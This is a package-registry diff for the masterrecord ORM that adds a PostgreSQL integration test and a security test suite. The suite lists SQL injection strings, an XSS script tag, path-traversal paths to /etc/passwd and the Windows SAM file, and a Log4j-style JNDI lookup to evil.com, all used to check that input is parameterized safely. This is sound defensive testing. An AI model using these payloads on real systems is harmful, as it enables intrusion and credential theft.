masterrecord 0.2.36 → 0.3.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (38) hide show
  1. package/.claude/settings.local.json +19 -1
  2. package/Entity/entityModel.js +6 -0
  3. package/Entity/entityTrackerModel.js +20 -3
  4. package/Entity/fieldTransformer.js +266 -0
  5. package/Migrations/migrationMySQLQuery.js +145 -1
  6. package/Migrations/migrationPostgresQuery.js +402 -0
  7. package/Migrations/migrationSQLiteQuery.js +145 -1
  8. package/Migrations/schema.js +131 -28
  9. package/QueryLanguage/queryMethods.js +193 -15
  10. package/QueryLanguage/queryParameters.js +136 -0
  11. package/QueryLanguage/queryScript.js +13 -4
  12. package/SQLLiteEngine.js +309 -19
  13. package/context.js +47 -10
  14. package/docs/INCLUDES_CLARIFICATION.md +202 -0
  15. package/docs/METHODS_REFERENCE.md +184 -0
  16. package/docs/MIGRATIONS_GUIDE.md +699 -0
  17. package/docs/POSTGRESQL_SETUP.md +415 -0
  18. package/examples/jsonArrayTransformer.js +215 -0
  19. package/mySQLEngine.js +249 -17
  20. package/package.json +3 -3
  21. package/postgresEngine.js +434 -491
  22. package/postgresSyncConnect.js +209 -0
  23. package/readme.md +1046 -416
  24. package/test/anyCommaStringTest.js +237 -0
  25. package/test/anyMethodTest.js +176 -0
  26. package/test/findByIdTest.js +227 -0
  27. package/test/includesFeatureTest.js +183 -0
  28. package/test/includesTransformTest.js +110 -0
  29. package/test/newMethodTest.js +330 -0
  30. package/test/newMethodUnitTest.js +320 -0
  31. package/test/parameterizedPlaceholderTest.js +159 -0
  32. package/test/postgresEngineTest.js +463 -0
  33. package/test/postgresIntegrationTest.js +381 -0
  34. package/test/securityTest.js +268 -0
  35. package/test/singleDollarPlaceholderTest.js +238 -0
  36. package/test/transformerTest.js +287 -0
  37. package/test/verifyFindById.js +169 -0
  38. package/test/verifyNewMethod.js +191 -0
@@ -0,0 +1,381 @@
1
+ /**
2
+ * PostgreSQL Integration Test for MasterRecord
3
+ *
4
+ * Tests the complete PostgreSQL implementation with pg 8.16.3
5
+ *
6
+ * Requirements:
7
+ * - PostgreSQL server running on localhost:5432
8
+ * - Test database named 'masterrecord_test'
9
+ * - User with credentials (set in config below)
10
+ */
11
+
12
+ const PostgresSyncConnect = require('../postgresSyncConnect');
13
+ const postgresEngine = require('../postgresEngine');
14
+
15
+ console.log("╔════════════════════════════════════════════════════════════════╗");
16
+ console.log("║ PostgreSQL Integration Test for MasterRecord ║");
17
+ console.log("╚════════════════════════════════════════════════════════════════╝\n");
18
+
19
+ let passed = 0;
20
+ let failed = 0;
21
+
22
+ // Test configuration - update these for your environment
23
+ const TEST_CONFIG = {
24
+ host: 'localhost',
25
+ port: 5432,
26
+ database: 'masterrecord_test',
27
+ user: 'postgres',
28
+ password: 'postgres',
29
+ max: 10,
30
+ idleTimeoutMillis: 30000,
31
+ connectionTimeoutMillis: 2000
32
+ };
33
+
34
+ // Mock entity for testing
35
+ const TEST_ENTITY = {
36
+ __name: 'TestUser',
37
+ id: { type: 'integer', primary: true, auto: true },
38
+ name: { type: 'string', nullable: false },
39
+ email: { type: 'string', nullable: false },
40
+ age: { type: 'integer', nullable: true },
41
+ created_at: { type: 'timestamp', nullable: true }
42
+ };
43
+
44
+ let connection = null;
45
+ let engine = null;
46
+
47
+ async function runTests() {
48
+ try {
49
+ // Test 1: Connection Initialization
50
+ console.log("📝 Test 1: PostgreSQL Connection Initialization");
51
+ console.log("──────────────────────────────────────────────────");
52
+
53
+ try {
54
+ connection = new PostgresSyncConnect();
55
+ await connection.connect(TEST_CONFIG);
56
+
57
+ if (connection.isConnected()) {
58
+ console.log(" ✓ Connection established");
59
+ console.log(` ✓ Connected to ${TEST_CONFIG.database}`);
60
+ passed++;
61
+ } else {
62
+ console.log(" ✗ Connection failed");
63
+ failed++;
64
+ }
65
+ } catch (err) {
66
+ console.log(` ✗ Error: ${err.message}`);
67
+ console.log(" ℹ Make sure PostgreSQL is running and test database exists");
68
+ failed++;
69
+ return; // Can't continue without connection
70
+ }
71
+
72
+ // Test 2: Get Engine Instance
73
+ console.log("\n📝 Test 2: Get Engine Instance");
74
+ console.log("──────────────────────────────────────────────────");
75
+
76
+ try {
77
+ engine = connection.getEngine();
78
+
79
+ if (engine) {
80
+ console.log(" ✓ Engine instance retrieved");
81
+ console.log(` ✓ Engine type: ${engine.dbType}`);
82
+ passed++;
83
+ } else {
84
+ console.log(" ✗ Failed to get engine");
85
+ failed++;
86
+ }
87
+ } catch (err) {
88
+ console.log(` ✗ Error: ${err.message}`);
89
+ failed++;
90
+ }
91
+
92
+ // Test 3: Health Check
93
+ console.log("\n📝 Test 3: Connection Health Check");
94
+ console.log("──────────────────────────────────────────────────");
95
+
96
+ try {
97
+ const health = await connection.healthCheck();
98
+
99
+ if (health.healthy) {
100
+ console.log(" ✓ Health check passed");
101
+ console.log(` ✓ Server time: ${health.serverTime}`);
102
+ console.log(` ✓ Pool size: ${health.poolSize}`);
103
+ console.log(` ✓ Idle connections: ${health.idleCount}`);
104
+ passed++;
105
+ } else {
106
+ console.log(` ✗ Health check failed: ${health.error}`);
107
+ failed++;
108
+ }
109
+ } catch (err) {
110
+ console.log(` ✗ Error: ${err.message}`);
111
+ failed++;
112
+ }
113
+
114
+ // Test 4: Create Test Table
115
+ console.log("\n📝 Test 4: Create Test Table");
116
+ console.log("──────────────────────────────────────────────────");
117
+
118
+ try {
119
+ // Drop table if exists
120
+ await connection.query(`DROP TABLE IF EXISTS TestUser`);
121
+
122
+ // Create table
123
+ const createQuery = `
124
+ CREATE TABLE TestUser (
125
+ id SERIAL PRIMARY KEY,
126
+ name VARCHAR(255) NOT NULL,
127
+ email VARCHAR(255) NOT NULL,
128
+ age INTEGER,
129
+ created_at TIMESTAMP
130
+ )
131
+ `;
132
+
133
+ await connection.query(createQuery);
134
+ console.log(" ✓ Test table created");
135
+ passed++;
136
+ } catch (err) {
137
+ console.log(` ✗ Error: ${err.message}`);
138
+ failed++;
139
+ }
140
+
141
+ // Test 5: Parameterized INSERT with RETURNING
142
+ console.log("\n📝 Test 5: INSERT with $1, $2 Placeholders and RETURNING");
143
+ console.log("──────────────────────────────────────────────────");
144
+
145
+ try {
146
+ const insertQuery = `
147
+ INSERT INTO TestUser (name, email, age, created_at)
148
+ VALUES ($1, $2, $3, $4)
149
+ RETURNING id
150
+ `;
151
+
152
+ const params = ['John Doe', 'john@example.com', 30, new Date()];
153
+ const result = await connection.query(insertQuery, params);
154
+
155
+ if (result.rows && result.rows.length > 0 && result.rows[0].id) {
156
+ console.log(" ✓ INSERT with RETURNING successful");
157
+ console.log(` ✓ Returned ID: ${result.rows[0].id}`);
158
+ console.log(` ✓ Placeholder format: $1, $2, $3, $4`);
159
+ passed++;
160
+ } else {
161
+ console.log(" ✗ INSERT did not return ID");
162
+ failed++;
163
+ }
164
+ } catch (err) {
165
+ console.log(` ✗ Error: ${err.message}`);
166
+ failed++;
167
+ }
168
+
169
+ // Test 6: Parameterized SELECT
170
+ console.log("\n📝 Test 6: SELECT with Parameterized Query");
171
+ console.log("──────────────────────────────────────────────────");
172
+
173
+ try {
174
+ const selectQuery = `SELECT * FROM TestUser WHERE name = $1`;
175
+ const result = await connection.query(selectQuery, ['John Doe']);
176
+
177
+ if (result.rows && result.rows.length > 0) {
178
+ console.log(" ✓ SELECT with $1 placeholder successful");
179
+ console.log(` ✓ Found user: ${result.rows[0].name}`);
180
+ console.log(` ✓ Email: ${result.rows[0].email}`);
181
+ passed++;
182
+ } else {
183
+ console.log(" ✗ SELECT returned no results");
184
+ failed++;
185
+ }
186
+ } catch (err) {
187
+ console.log(` ✗ Error: ${err.message}`);
188
+ failed++;
189
+ }
190
+
191
+ // Test 7: Parameterized UPDATE
192
+ console.log("\n📝 Test 7: UPDATE with Parameterized Query");
193
+ console.log("──────────────────────────────────────────────────");
194
+
195
+ try {
196
+ const updateQuery = `UPDATE TestUser SET age = $1 WHERE name = $2`;
197
+ const result = await connection.query(updateQuery, [35, 'John Doe']);
198
+
199
+ if (result.rowCount > 0) {
200
+ console.log(" ✓ UPDATE with $1, $2 placeholders successful");
201
+ console.log(` ✓ Rows affected: ${result.rowCount}`);
202
+ passed++;
203
+ } else {
204
+ console.log(" ✗ UPDATE affected no rows");
205
+ failed++;
206
+ }
207
+ } catch (err) {
208
+ console.log(` ✗ Error: ${err.message}`);
209
+ failed++;
210
+ }
211
+
212
+ // Test 8: Transaction Support
213
+ console.log("\n📝 Test 8: Transaction (BEGIN/COMMIT/ROLLBACK)");
214
+ console.log("──────────────────────────────────────────────────");
215
+
216
+ try {
217
+ const result = await connection.transaction(async (client) => {
218
+ // Insert within transaction
219
+ const insertResult = await client.query(
220
+ `INSERT INTO TestUser (name, email, age) VALUES ($1, $2, $3) RETURNING id`,
221
+ ['Jane Smith', 'jane@example.com', 28]
222
+ );
223
+
224
+ // Update within transaction
225
+ await client.query(
226
+ `UPDATE TestUser SET age = $1 WHERE id = $2`,
227
+ [29, insertResult.rows[0].id]
228
+ );
229
+
230
+ return insertResult.rows[0].id;
231
+ });
232
+
233
+ if (result) {
234
+ console.log(" ✓ Transaction completed successfully");
235
+ console.log(` ✓ INSERT and UPDATE within transaction`);
236
+ console.log(` ✓ Returned ID: ${result}`);
237
+ passed++;
238
+ } else {
239
+ console.log(" ✗ Transaction failed");
240
+ failed++;
241
+ }
242
+ } catch (err) {
243
+ console.log(` ✗ Error: ${err.message}`);
244
+ failed++;
245
+ }
246
+
247
+ // Test 9: IN Clause with Multiple Parameters
248
+ console.log("\n📝 Test 9: IN Clause with Multiple Parameters");
249
+ console.log("──────────────────────────────────────────────────");
250
+
251
+ try {
252
+ const inQuery = `SELECT * FROM TestUser WHERE name IN ($1, $2)`;
253
+ const result = await connection.query(inQuery, ['John Doe', 'Jane Smith']);
254
+
255
+ if (result.rows && result.rows.length >= 2) {
256
+ console.log(" ✓ IN clause with $1, $2 successful");
257
+ console.log(` ✓ Found ${result.rows.length} users`);
258
+ passed++;
259
+ } else {
260
+ console.log(" ✗ IN clause returned insufficient results");
261
+ failed++;
262
+ }
263
+ } catch (err) {
264
+ console.log(` ✗ Error: ${err.message}`);
265
+ failed++;
266
+ }
267
+
268
+ // Test 10: NULL Handling
269
+ console.log("\n📝 Test 10: NULL Handling");
270
+ console.log("──────────────────────────────────────────────────");
271
+
272
+ try {
273
+ const insertQuery = `INSERT INTO TestUser (name, email, age) VALUES ($1, $2, $3) RETURNING id`;
274
+ const result = await connection.query(insertQuery, ['Bob Wilson', 'bob@example.com', null]);
275
+
276
+ const selectQuery = `SELECT * FROM TestUser WHERE id = $1`;
277
+ const selectResult = await connection.query(selectQuery, [result.rows[0].id]);
278
+
279
+ if (selectResult.rows[0].age === null) {
280
+ console.log(" ✓ NULL values handled correctly");
281
+ console.log(" ✓ Inserted and retrieved NULL age");
282
+ passed++;
283
+ } else {
284
+ console.log(" ✗ NULL handling failed");
285
+ failed++;
286
+ }
287
+ } catch (err) {
288
+ console.log(` ✗ Error: ${err.message}`);
289
+ failed++;
290
+ }
291
+
292
+ // Test 11: Connection Pool Info
293
+ console.log("\n📝 Test 11: Connection Pool Information");
294
+ console.log("──────────────────────────────────────────────────");
295
+
296
+ try {
297
+ const info = connection.getConnectionInfo();
298
+
299
+ if (info) {
300
+ console.log(" ✓ Connection info retrieved");
301
+ console.log(` ✓ Host: ${info.host}:${info.port}`);
302
+ console.log(` ✓ Database: ${info.database}`);
303
+ console.log(` ✓ User: ${info.user}`);
304
+ console.log(` ✓ Max connections: ${info.maxConnections}`);
305
+ passed++;
306
+ } else {
307
+ console.log(" ✗ Failed to get connection info");
308
+ failed++;
309
+ }
310
+ } catch (err) {
311
+ console.log(` ✗ Error: ${err.message}`);
312
+ failed++;
313
+ }
314
+
315
+ // Cleanup: Drop test table
316
+ console.log("\n📝 Cleanup: Dropping Test Table");
317
+ console.log("──────────────────────────────────────────────────");
318
+
319
+ try {
320
+ await connection.query(`DROP TABLE IF EXISTS TestUser`);
321
+ console.log(" ✓ Test table dropped");
322
+ } catch (err) {
323
+ console.log(` ⚠ Warning: ${err.message}`);
324
+ }
325
+
326
+ } catch (err) {
327
+ console.log(`\n❌ Fatal error: ${err.message}`);
328
+ console.log(err.stack);
329
+ } finally {
330
+ // Close connection
331
+ if (connection) {
332
+ try {
333
+ await connection.close();
334
+ console.log(" ✓ Connection closed");
335
+ } catch (err) {
336
+ console.log(` ⚠ Warning closing connection: ${err.message}`);
337
+ }
338
+ }
339
+ }
340
+
341
+ // Summary
342
+ console.log("\n\n╔════════════════════════════════════════════════════════════════╗");
343
+ console.log("║ Test Summary ║");
344
+ console.log("╚════════════════════════════════════════════════════════════════╝");
345
+
346
+ const total = passed + failed;
347
+ const successRate = total > 0 ? Math.round((passed/total)*100) : 0;
348
+
349
+ console.log(`\n Total Tests: ${total}`);
350
+ console.log(` ✅ Passed: ${passed}`);
351
+ console.log(` ❌ Failed: ${failed}`);
352
+ console.log(` Success Rate: ${successRate}%\n`);
353
+
354
+ if (failed === 0) {
355
+ console.log("🎉 All PostgreSQL integration tests passed!");
356
+ console.log("\n✨ PostgreSQL Implementation Complete!");
357
+ console.log("\n📖 Features Verified:");
358
+ console.log(" ✓ Connection pooling with pg 8.16.3");
359
+ console.log(" ✓ Parameterized queries with $1, $2, $3... placeholders");
360
+ console.log(" ✓ RETURNING clause for INSERT operations");
361
+ console.log(" ✓ Async/await pattern throughout");
362
+ console.log(" ✓ Transaction support (BEGIN/COMMIT/ROLLBACK)");
363
+ console.log(" ✓ NULL value handling");
364
+ console.log(" ✓ IN clauses with multiple parameters");
365
+ console.log(" ✓ Connection pool management");
366
+ console.log(" ✓ Health checks");
367
+ console.log("\n✅ PostgreSQL engine is ready for production use!\n");
368
+ process.exit(0);
369
+ } else {
370
+ console.log("⚠️ Some PostgreSQL tests failed.");
371
+ console.log("\n📖 Common Issues:");
372
+ console.log(" • PostgreSQL server not running");
373
+ console.log(" • Test database 'masterrecord_test' doesn't exist");
374
+ console.log(" • Incorrect credentials in TEST_CONFIG");
375
+ console.log(" • Port 5432 not accessible\n");
376
+ process.exit(1);
377
+ }
378
+ }
379
+
380
+ // Run tests
381
+ runTests();
@@ -0,0 +1,268 @@
1
+ /**
2
+ * Comprehensive Security Test Suite
3
+ *
4
+ * This test suite validates that MasterRecord is protected against SQL injection
5
+ * attacks across all operations: SELECT, INSERT, UPDATE, DELETE
6
+ *
7
+ * All tests should PASS, meaning malicious input is properly escaped/parameterized
8
+ */
9
+
10
+ const QueryParameters = require('../QueryLanguage/queryParameters');
11
+
12
+ console.log("╔════════════════════════════════════════════════════════════════╗");
13
+ console.log("║ MasterRecord Security Test Suite ║");
14
+ console.log("╚════════════════════════════════════════════════════════════════╝\n");
15
+
16
+ // Test 1: QueryParameters Class Validation
17
+ console.log("📝 Test 1: QueryParameters - Type Validation");
18
+ console.log("──────────────────────────────────────────────────────────────");
19
+
20
+ const params = new QueryParameters();
21
+ let passed = 0;
22
+ let failed = 0;
23
+
24
+ // Test 1a: Valid types should be accepted
25
+ const validValues = [
26
+ { value: 42, type: "integer" },
27
+ { value: "test", type: "string" },
28
+ { value: true, type: "boolean" },
29
+ { value: 3.14, type: "number" },
30
+ { value: null, type: "null" }
31
+ ];
32
+
33
+ console.log("\n✅ Testing valid values:");
34
+ for(const test of validValues){
35
+ try {
36
+ params.validateValue(test.value);
37
+ console.log(` ✓ ${test.type}: ${JSON.stringify(test.value)} - ACCEPTED`);
38
+ passed++;
39
+ } catch(err) {
40
+ console.log(` ✗ ${test.type}: ${JSON.stringify(test.value)} - REJECTED (should accept)`);
41
+ failed++;
42
+ }
43
+ }
44
+
45
+ // Test 1b: Invalid types should be rejected
46
+ const invalidValues = [
47
+ { value: {key: "value"}, type: "object" },
48
+ { value: () => "test", type: "function" },
49
+ { value: Symbol("test"), type: "symbol" },
50
+ { value: undefined, type: "undefined" }
51
+ ];
52
+
53
+ console.log("\n🔒 Testing invalid values (should be rejected):");
54
+ for(const test of invalidValues){
55
+ try {
56
+ params.validateValue(test.value);
57
+ console.log(` ✗ ${test.type}: ACCEPTED (should reject)`);
58
+ failed++;
59
+ } catch(err) {
60
+ console.log(` ✓ ${test.type}: REJECTED - ${err.message}`);
61
+ passed++;
62
+ }
63
+ }
64
+
65
+ // Test 2: SQL Injection Attempts in String Parameters
66
+ console.log("\n\n📝 Test 2: SQL Injection in String Parameters");
67
+ console.log("──────────────────────────────────────────────────────────");
68
+
69
+ const sqlInjectionAttempts = [
70
+ "admin' OR '1'='1",
71
+ "'; DROP TABLE users;--",
72
+ "admin'--",
73
+ "' UNION SELECT * FROM passwords--",
74
+ "1' AND 1=1 UNION SELECT NULL, username, password FROM users--",
75
+ "<script>alert('XSS')</script>",
76
+ "../../etc/passwd",
77
+ "${jndi:ldap://evil.com/a}", // Log4j style
78
+ "..\\..\\..\\windows\\system32\\config\\sam"
79
+ ];
80
+
81
+ console.log("\n🔒 Testing SQL injection attempts (all should be safely parameterized):");
82
+ params.reset();
83
+ for(const attempt of sqlInjectionAttempts){
84
+ try {
85
+ params.validateValue(attempt);
86
+ const placeholder = params.addParam(attempt, 'sqlite');
87
+ console.log(` ✓ Input: ${attempt.substring(0, 40)}...`);
88
+ console.log(` Placeholder: ${placeholder} (value stored separately)`);
89
+ passed++;
90
+ } catch(err) {
91
+ console.log(` ✗ Failed to handle: ${attempt}`);
92
+ console.log(` Error: ${err.message}`);
93
+ failed++;
94
+ }
95
+ }
96
+
97
+ // Test 3: Array Parameters (for IN clauses)
98
+ console.log("\n\n📝 Test 3: Array Parameters for IN Clauses");
99
+ console.log("──────────────────────────────────────────────────────────");
100
+
101
+ const arrayTests = [
102
+ {
103
+ name: "Valid integer array",
104
+ value: [1, 2, 3, 4, 5],
105
+ shouldPass: true
106
+ },
107
+ {
108
+ name: "Valid string array",
109
+ value: ["Alice", "Bob", "Charlie"],
110
+ shouldPass: true
111
+ },
112
+ {
113
+ name: "Array with SQL injection attempts",
114
+ value: ["Alice", "Bob'; DROP TABLE users;--", "Charlie"],
115
+ shouldPass: true // Should accept but parameterize safely
116
+ },
117
+ {
118
+ name: "Empty array",
119
+ value: [],
120
+ shouldPass: false // Should reject
121
+ },
122
+ {
123
+ name: "Array with objects",
124
+ value: [{id: 1}, {id: 2}],
125
+ shouldPass: false // Should reject objects
126
+ }
127
+ ];
128
+
129
+ console.log("\n🔒 Testing array parameter handling:");
130
+ for(const test of arrayTests){
131
+ params.reset();
132
+ try {
133
+ // Validate each element
134
+ for(const val of test.value){
135
+ params.validateValue(val);
136
+ }
137
+
138
+ // Try to add as array
139
+ const placeholders = params.addParams(test.value, 'sqlite');
140
+
141
+ if(test.shouldPass){
142
+ console.log(` ✓ ${test.name}: ACCEPTED`);
143
+ console.log(` Placeholders: ${placeholders}`);
144
+ console.log(` Values: ${JSON.stringify(params.getParams())}`);
145
+ passed++;
146
+ } else {
147
+ console.log(` ✗ ${test.name}: ACCEPTED (should reject)`);
148
+ failed++;
149
+ }
150
+ } catch(err) {
151
+ if(!test.shouldPass){
152
+ console.log(` ✓ ${test.name}: REJECTED - ${err.message}`);
153
+ passed++;
154
+ } else {
155
+ console.log(` ✗ ${test.name}: REJECTED (should accept)`);
156
+ console.log(` Error: ${err.message}`);
157
+ failed++;
158
+ }
159
+ }
160
+ }
161
+
162
+ // Test 4: Special Characters in Different Databases
163
+ console.log("\n\n📝 Test 4: Placeholder Generation for Different Databases");
164
+ console.log("──────────────────────────────────────────────────────────");
165
+
166
+ const dbTests = [
167
+ { db: 'sqlite', expected: '?' },
168
+ { db: 'mysql', expected: '?' },
169
+ { db: 'postgres', expectedPattern: /^\$\d+$/ }
170
+ ];
171
+
172
+ console.log("\n✅ Testing database-specific placeholder generation:");
173
+ for(const test of dbTests){
174
+ params.reset();
175
+ try {
176
+ const placeholder = params.addParam("test", test.db);
177
+
178
+ if(test.expected){
179
+ if(placeholder === test.expected){
180
+ console.log(` ✓ ${test.db}: ${placeholder} - CORRECT`);
181
+ passed++;
182
+ } else {
183
+ console.log(` ✗ ${test.db}: ${placeholder} (expected ${test.expected})`);
184
+ failed++;
185
+ }
186
+ } else if(test.expectedPattern){
187
+ if(test.expectedPattern.test(placeholder)){
188
+ console.log(` ✓ ${test.db}: ${placeholder} - CORRECT`);
189
+ passed++;
190
+ } else {
191
+ console.log(` ✗ ${test.db}: ${placeholder} (expected pattern ${test.expectedPattern})`);
192
+ failed++;
193
+ }
194
+ }
195
+ } catch(err) {
196
+ console.log(` ✗ ${test.db}: ERROR - ${err.message}`);
197
+ failed++;
198
+ }
199
+ }
200
+
201
+ // Test 5: Edge Cases
202
+ console.log("\n\n📝 Test 5: Edge Cases");
203
+ console.log("──────────────────────────────────────────────────────────");
204
+
205
+ const edgeCases = [
206
+ { name: "Empty string", value: "", shouldPass: true },
207
+ { name: "Very long string", value: "a".repeat(10000), shouldPass: true },
208
+ { name: "Unicode characters", value: "Hello 世界 🌍", shouldPass: true },
209
+ { name: "Newlines and tabs", value: "Line1\nLine2\tTab", shouldPass: true },
210
+ { name: "Single quote", value: "O'Reilly", shouldPass: true },
211
+ { name: "Double quote", value: 'He said "Hello"', shouldPass: true },
212
+ { name: "Backslash", value: "C:\\Users\\test", shouldPass: true },
213
+ { name: "Null byte", value: "test\x00null", shouldPass: true }
214
+ ];
215
+
216
+ console.log("\n✅ Testing edge cases:");
217
+ params.reset();
218
+ for(const test of edgeCases){
219
+ try {
220
+ params.validateValue(test.value);
221
+ params.addParam(test.value, 'sqlite');
222
+
223
+ if(test.shouldPass){
224
+ console.log(` ✓ ${test.name}: ACCEPTED`);
225
+ passed++;
226
+ } else {
227
+ console.log(` ✗ ${test.name}: ACCEPTED (should reject)`);
228
+ failed++;
229
+ }
230
+ } catch(err) {
231
+ if(!test.shouldPass){
232
+ console.log(` ✓ ${test.name}: REJECTED - ${err.message}`);
233
+ passed++;
234
+ } else {
235
+ console.log(` ✗ ${test.name}: REJECTED (should accept)`);
236
+ console.log(` Error: ${err.message}`);
237
+ failed++;
238
+ }
239
+ }
240
+ }
241
+
242
+ // Summary
243
+ console.log("\n\n╔════════════════════════════════════════════════════════════════╗");
244
+ console.log("║ Test Summary ║");
245
+ console.log("╚════════════════════════════════════════════════════════════════╝");
246
+
247
+ const total = passed + failed;
248
+ const successRate = Math.round((passed/total)*100);
249
+
250
+ console.log(`\n Total Tests: ${total}`);
251
+ console.log(` ✅ Passed: ${passed}`);
252
+ console.log(` ❌ Failed: ${failed}`);
253
+ console.log(` Success Rate: ${successRate}%\n`);
254
+
255
+ if(failed === 0){
256
+ console.log("🎉 All security tests passed!");
257
+ console.log("\n🔒 Security Status: PROTECTED");
258
+ console.log(" ✓ SQL injection attempts are safely parameterized");
259
+ console.log(" ✓ Array parameters are properly validated");
260
+ console.log(" ✓ Special characters are handled correctly");
261
+ console.log(" ✓ Edge cases are managed safely");
262
+ console.log("\n✅ MasterRecord is production-ready from a security perspective!");
263
+ process.exit(0);
264
+ } else {
265
+ console.log("⚠️ Some security tests failed!");
266
+ console.log(" Review the failed tests and fix the issues before deploying.");
267
+ process.exit(1);
268
+ }